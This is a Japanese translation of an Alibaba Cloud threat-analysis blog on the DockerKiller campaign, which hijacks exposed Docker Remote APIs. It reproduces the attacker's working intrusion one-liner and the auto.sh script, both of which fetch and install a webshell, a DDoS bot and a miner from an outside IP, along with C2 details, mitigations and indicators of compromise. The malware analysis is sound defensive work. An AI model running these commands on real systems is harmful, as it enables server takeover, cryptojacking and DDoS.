Dockerサービスへの新たな攻撃「DockerKiller」がDockerデプロイメントを乗っ取らないようにする方法

アリババクラウドセキュリティチームは、**Docker**Killerと呼ばれる、ウェブに公開された**Docker**サービスに対する新たな攻撃を発見しました。

*本ブログは英語版からの翻訳です。オリジナルは[こちら](https://www.alibabacloud.com/blog/dockerkiller-threat-analysis-first-instance-of-batch-attack-and-exploitation-of-docker-services_593947)からご確認いただけます。一部機械翻訳を使用しております。翻訳の間違いがありましたら、ご指摘いただけると幸いです。*

Dockerは人気のあるオープンソースのアプリケーションコンテナエンジンで、開発者はアプリケーションや依存関係をポータブルコンテナにパッケージ化して、メインストリームのLinuxサーバーに公開することができます。その優れた移植性から、Dockerは構成の簡素化とマルチテナント環境での迅速なデプロイに広く利用されています。企業では本番環境でDockerを使用するケースが増えており、すでにクラウド環境にも広く展開されています。

Dockerは開発生産性やデプロイプロセスを向上させる一方で、コンテナやコンテナサービスはセキュリティの脆弱性から何となく免れていると考えている人が多く、コンテナのハードニングはあまり注目されていません。データベースサーバ向けに開発に成功したRCE手法（例えば、悪名高いDDGボットネットは、Redisの不正アクセス脆弱性を利用して瞬く間に拡散した）は、Dockerのような露出した他のサービス向けにも試みられています。DockerのRemote APIも、不適切な設定をすると不正アクセスの脆弱性があります。Redis攻撃で採用されたプロセスと同様に、攻撃者はDockerのデータに不正アクセスし、機密データを盗み出したり改ざんしたりして、サーバを掌握することができます。

アリババクラウドセキュリティチームは、Server Guardの動作異常検知とその後の手動調査により、DDoS攻撃やマイニング操作、Webshellバックドアの保守などに利用できるDockerサービスを悪用した攻撃・悪用を発見しました。攻撃に関連したファイルとして、bashd、xm、p.phpなどが感染したホスト上で発見され、解析が行われました。この攻撃は危殆化するだけでなく、Dockerを無効化することもできるため、私たちはこの攻撃をDockerKillerと適切に呼んでいます。当社のクラウドではまだ広く悪用されているとは見ていませんが、他のクラウド環境や世界中の多くの顧客が影響を受ける可能性があります。アリババクラウドセキュリティは、この悪意のある大規模なスキャン活動をブロックすることで、記述された亜種の攻撃からお客様を保護することができましたが、当社のセキュリティチームは引き続きその開発を監視し、今後もDockerKillerのアップデートを公開していきます。

この記事では、スキャンから侵入、悪用まで、DockerKillerのキルチェーンの各ステップを説明し、発見されたDockerの脆弱性の詳細な分析を提供します。

#DockerKillerの復号化
2018年7月、Alibaba Cloud Securityは、Linuxシェルスクリプト、バイナリ、phpファイル、一部の設定ファイルを保存しているDockerKillerダウンロードサーバーを発見しました。ファイルは2018年7月17日に作成されたものです。


![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/647921/d8c03b8f-150e-2e39-1ee8-ba9b3b03ed06.png)

内容を分析したところ、これらのファイルには、**スキャンや侵入スクリプト、DDoSトロイの木馬、マイニングプログラム、Webshells**などが含まれていることが判明しました。これらのファイルは、スキャンから悪用、バックドアのメンテナンスまでの一連のプロセスにまとめられています。

完全な攻撃フローチャートは以下の通り。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/647921/7e9d83f4-4856-c24e-49e1-9756d6794d5c.png)

次のセクションでは、侵入、搾取、バックドア開放の3つのステップのそれぞれについて詳細な分析を行います。

#スキャンと侵入スクリプトの分析
p.txtのログから、2018年7月16日に筆者が[Masscan](https://github.com/robertdavidgraham/masscan?spm=a2c65.11461447.0.0.1662628avmaivj)を使用して172から始まる5つのネットワークセグメントアドレスをスキャンしたことがわかります。これはスキャンスクリプトのテストランであったのではないかと疑っています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/647921/9fcb6951-6a19-2c95-124f-25f49e9a5e6a.png)

test.shが侵入スクリプトとして動作しました。このスクリプトは、Masscanで取得したdockerips.txtから2375番ポートが開いているDockerコンテナのIPアドレスのリストを読み込みます。不正なDockerアクセスの脆弱性を悪用し、スクリプトはその後、159.203.21.*をダウンロードし、見つかったIPアドレスごとにauto.shを実行しようとし、実行に成功するとauto.shが削除されます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/647921/c9cb8a7a-bfe7-79e1-18cc-96ff8ca7cb70.png)

上記のキーシェルコマンドを拡大したもの：

```
docker -H tcp://$HOSTLINE:2375 run --rm -v /:/mnt alpine chroot /mnt /bin/sh -c "wget http://159.203.21.239/p/auto.sh" -O auto.sh;chmod 777 auto.sh;sleep 2s;sh auto.sh;sleep 5s;rm auto.sh
```

Dockerが侵害され、auto.shが実行されると、以前のバージョンの悪意のあるファイルがあれば削除され、Webshell、マイニングプログラム、バックドアプログラム、タスクファイル、マイニング設定ファイルなど、更新されたファイルが侵害されたサーバーからダウンロードされ、その実行に進みます。

攻撃の順序は以下の通りです。

1、**クリーンアップ**：以前のバージョンのマイニングプログラム、DDoSトロイの木馬、サービス、およびそれらの設定ファイルを削除します。
2、**ダウンロード**：ウェブシェルのバックドア、DDoSトロイの木馬、マイニングアプリケーションをダウンロードします。
3、**実行**：マイニングスクリプトとDDoSトロイの木馬のサービスが実行されます。
関連するスクリプトは以下の通りです。

```
#! /bin/sh
rm bashd. 1;
rm xm. 1;
rm data.cfg. 1;
rm bashd.service. 1;
rm xm.service. 1;
wget http://159.203.21.239/p/p.php -O privacy.php | sed 's/\r//g';
cp privacy.php /var/www/html/privacy.php;
cp privacy.php /var/www/privacy.php;
rm privacy.php;
chmod -R 777 /var/www;
wget http://159.203.21.239/p/bashd -O bashd | sed 's/\r//g';
wget http://159.203.21.239/p/xm -O xm | sed 's/\r//g';
wget http://159.203.21.239/p/data.cfg -O data.cfg | sed 's/\r//g';
wget http://159.203.21.239/p/bashd.service -O bashd.service | sed 's/\r//g';
wget http://159.203.21.239/p/xm.service -O xm.service | sed 's/\r//g';
sleep 2s;
chmod 777 bashd;
chmod 777 xm;
sleep 2s;
mv "bashd.service" "/etc/systemd/system/bashd.service";
mv "xm.service" "/etc/systemd/system/xm.service";
systemctl daemon-reload;
systemctl stop bashd.service;
systemctl stop xm.service;
systemctl enable bashd.service;
systemctl start bashd.service;
systemctl enable xm.service;
systemctl start xm.service;
```

#DDoS トロイの木馬：マルウェアサンプル解析
研究室にあったbashdのサンプルは、IRCベースのDDoSクライアントであるkaiten.cを改造したものでした。サイズは42KBで、x86-64用にコンパイルされており、2018年7月17日11時35分にコンパイルされています。

プログラムがメインプロセスに入ると、「irc.dal.net」「irc.efnet.org」「us.quakenet.org」の3つのサーバのいずれかをランダムに選択して接続します。その後、パスワード "kingofthehill" を使ってチャンネル "#kotchat" に接続します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/647921/30e1114a-e2a5-9c2f-6eb3-83ea6b55d299.png)

コードの中の3つのサーバーのアドレスです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/647921/9d8e3f7a-6879-684d-4a17-a5c51d2d7376.png)

サーバとの接続を確立した後、コマンドを待ちます。サポートされているコマンドには、ACK および SYN フラッド攻撃の起動、UDP パケットの送信、ネットワークデータパケットのキャプチャなどがあります。
サポートされているコマンドの全てのリスト:

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/647921/aa3e45d9-dcf6-785e-cc4c-6508533437cf.png)

プログラムは、適切なコードを呼び出すことで関連する命令を実行します。例えば、マルウェアが使用しているSYN FLOODの攻撃コードは以下の通りです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/647921/2ad0ffcf-b925-4df9-1282-e1890ea72c3a.png)


こちらがACK FLOODの攻撃コードです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/647921/2dab3157-8673-d490-d059-f46e3503945c.png)

このコードは、ホストに感染した後に自動的に実行され、IRCを介してコマンド・コントロール・サーバに直接接続して指示を受けます。一度感染すると、ホストは強力なDDoS攻撃を実行できるDDoSクライアントとなり、インターネット接続の帯域幅によってのみ制限されます。

#マイニング機能
xm' マイニングプログラムは、オープンソースの xmrig マイニングツールを改造したものです。ファイルサイズは1.9MBで、x86-64用にコンパイルされています。2018年7月17日11時35分にコンパイルされました。以下のコマンドに対応しています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/647921/28b169d4-474c-0ca2-c6a1-faac8f29777d.png)

サンプル解析中にウォレットアドレスが特定できませんでした。ウォレットアドレスの情報が入っているはずのサーバー設定ファイルdata.cfgもダウンロードできませんでした。ファイルの作成時間と発見のタイミングから、DockerKillerはまだテストと評価の段階にあり、大規模な立ち上げには至っていないのではないかと推測されます。

#Webshellのバックドア
p.phpは、その内容を隠蔽しようとした作者がPHPでコーディングしたものです。元の難読化されたp.phpファイルは以下の通りです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/647921/7499ded5-ce2a-49f2-cd8f-b70795760b71.png)

当社のセキュリティチームによるデコードに成功した後、コンテンツを簡単に分析することができます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/647921/33e4d53a-6723-e048-6e2b-e5af9a8e2958.png)

p.phpは基本情報の表示やコマンドの実行、ファイルのアップロード、パスワードのクラックなど、豊富な機能を持つトロイの木馬であることがわかりました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/647921/6daef2fa-76b0-2fa6-c80c-a6f82be20044.png)

auto.shが実行された後、p.phpがサーバから侵害されたホストマシンにダウンロードされます。これは cp コマンドを使って privacy.php ファイルをサーバのルートディレクトリ `/var/www/html` と `/var/www` にコピーします。これらのWebサービスがDockerサーバにデプロイされると、ファイルの窃盗、コマンドの実行、破壊などの後続の攻撃段階を実行するためのバックドアとして機能します。

#緩和の提案
クラウド環境でDockerを使用している場合、本番では使用していなくても、DockerKillerから守るためにデプロイを固める必要があります。以下、おすすめのアクションをご紹介します。

1、Docker Remote APIのデフォルトパラメータを変更します（要再起動）。
- `DOCKER_OPTS`内の`tcp://0.0.0.0.0.2375`を探し、`0.0.0.0.0`を`127.0.0.1`に変更します。
　　　
- デフォルトの2375番ポートを非標準のカスタムポートに変更します。
     
2、リモートAPIの認証対策を設定します（再起動が必要です）。
3、Dockerサービスの実行に使用するアカウントを変更します(再起動が必要)
セキュリティ権限の低いアカウントを使用してDockerを実行します。これにより、攻撃者がリスクの高いコマンドを実行する能力が制限されます。
4、ファイアウォールポリシーを設定します。
通常の業務運用中にAPIサービスに他のサーバーからアクセスする必要がある場合は、セキュリティグループやiptablesポリシーを設定して、指定したIPアドレスのみがDockerインターフェイスにアクセスできるようにすることができます。
5、脅威検知と防御には、アリババクラウドセキュリティ製品をご利用ください。
Alibaba Cloud Securityが提供する[脅威検知サービス](https://www.alibabacloud.com/help/ja/product/28498.htm)は、脆弱性の検知と防御を提供します。このサービスは、Alibaba Cloud Security Management Consoleで有効にすることができます。

#侵害指標

| Sample | MD5 | Description |
|:--|:--|:--|
| xm | 36a332f5a8dc058fdf437fa67ecc06cf | Mining program |
| bashd | 1fec42b7959f31d2c1da59f764e4d554 | Remote control, DDoS client |
| p.php | ead7a311765c9d21e28581b8a9ae3fa5 | webshell |
| auto.sh | cda28610ef3e3ffb0758a0a332e27f0b | Intrusion script |

**IRC ドメイン**
irc.dal.net
irc.efnet.org
us.quakenet.org

**接続チャンネル**
　#kotchat

**パスワード**
kingofthehill

**ダウンローダーサーバー**
1、[http://159.203.21.[]/](https://www.alibabacloud.com/blog/dockerkiller-threat-analysis-first-instance-of-batch-attack-and-exploitation-of-docker-services_593947)
2、ftp://100.34.113.[]/Seagate_Expansion_Drive/Seagate/Registration/

ここでは、ホスティングクラウドサービスと連携してダウンローダーのサーバーをダウンさせ、さらなる感染を防ぐためにcブロックアドレスを保護しています。

#結論
DockerKillerは、Dockerの脆弱性を悪用して不正アクセスを行い、DDoS攻撃の起動、マイニング操作、WebShellバックドアの保守など、あらゆる悪意のある活動を行います。サンプルのトレーサビリティ分析からは、関連するウォレットアドレスに関する情報は見つかりませんでした。比較的小規模な展開と、感染後に開始されたDDoS攻撃がないことを考慮すると、DockerKillerはまだテスト段階であり、まだ広く展開されていないと考えてよいでしょう。しかし、Redisの不正アクセス脆弱性に基づく過去のセキュリティインシデントを踏まえれば、このDockerの脆弱性が大規模に悪用されることは想像に難くありません。マイクロサービスコンテナとしてDockerをデプロイし続ける企業が増えていることから、これらのデプロイの多くが不適切な設定によって侵害される可能性があります。

DockerKillerを検出・分析した後、Dockerに連絡して調査結果を報告したところ、回答が返ってきました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/647921/59e1315a-4a37-1107-0ac6-2efccd4aa282.png)

Dockerのセキュリティが強化される前に、企業はDocker構成の定期的なチェックを行い、一般的にエッジアプリケーションのセキュリティを強化して、クラウドインフラストラクチャを安全に保つことをお勧めします。

#参考文献
[https://www.alibabacloud.com/help/faq-detail/37517.htm](https://www.alibabacloud.com/help/ja/faq-detail/37517.htm)
[https://dl.packetstormsecurity.net/irc/kaiten.c](https://dl.packetstormsecurity.net/irc/kaiten.c?spm=a2c65.11461447.0.0.1662628a8bEeVh&file=kaiten.c)
[https://github.com/moby/moby/pull/37299](https://github.com/moby/moby/pull/37299?spm=a2c65.11461447.0.0.1662628a5RufkK)
[https://www.datadoghq.com/docker-adoption/](https://www.datadoghq.com/ja/docker-adoption/?spm=a2c65.11461447.0.0.1662628aH8XKJp)

*アリババクラウドは日本に２つのデータセンターを有し、世界で60を超えるアベラビリティーゾーンを有するアジア太平洋地域No.1(2019ガートナー)のクラウドインフラ事業者です。
アリババクラウドの詳細は、こちらからご覧ください。
[アリババクラウドジャパン公式ページ](https://www.alibabacloud.com/ja)*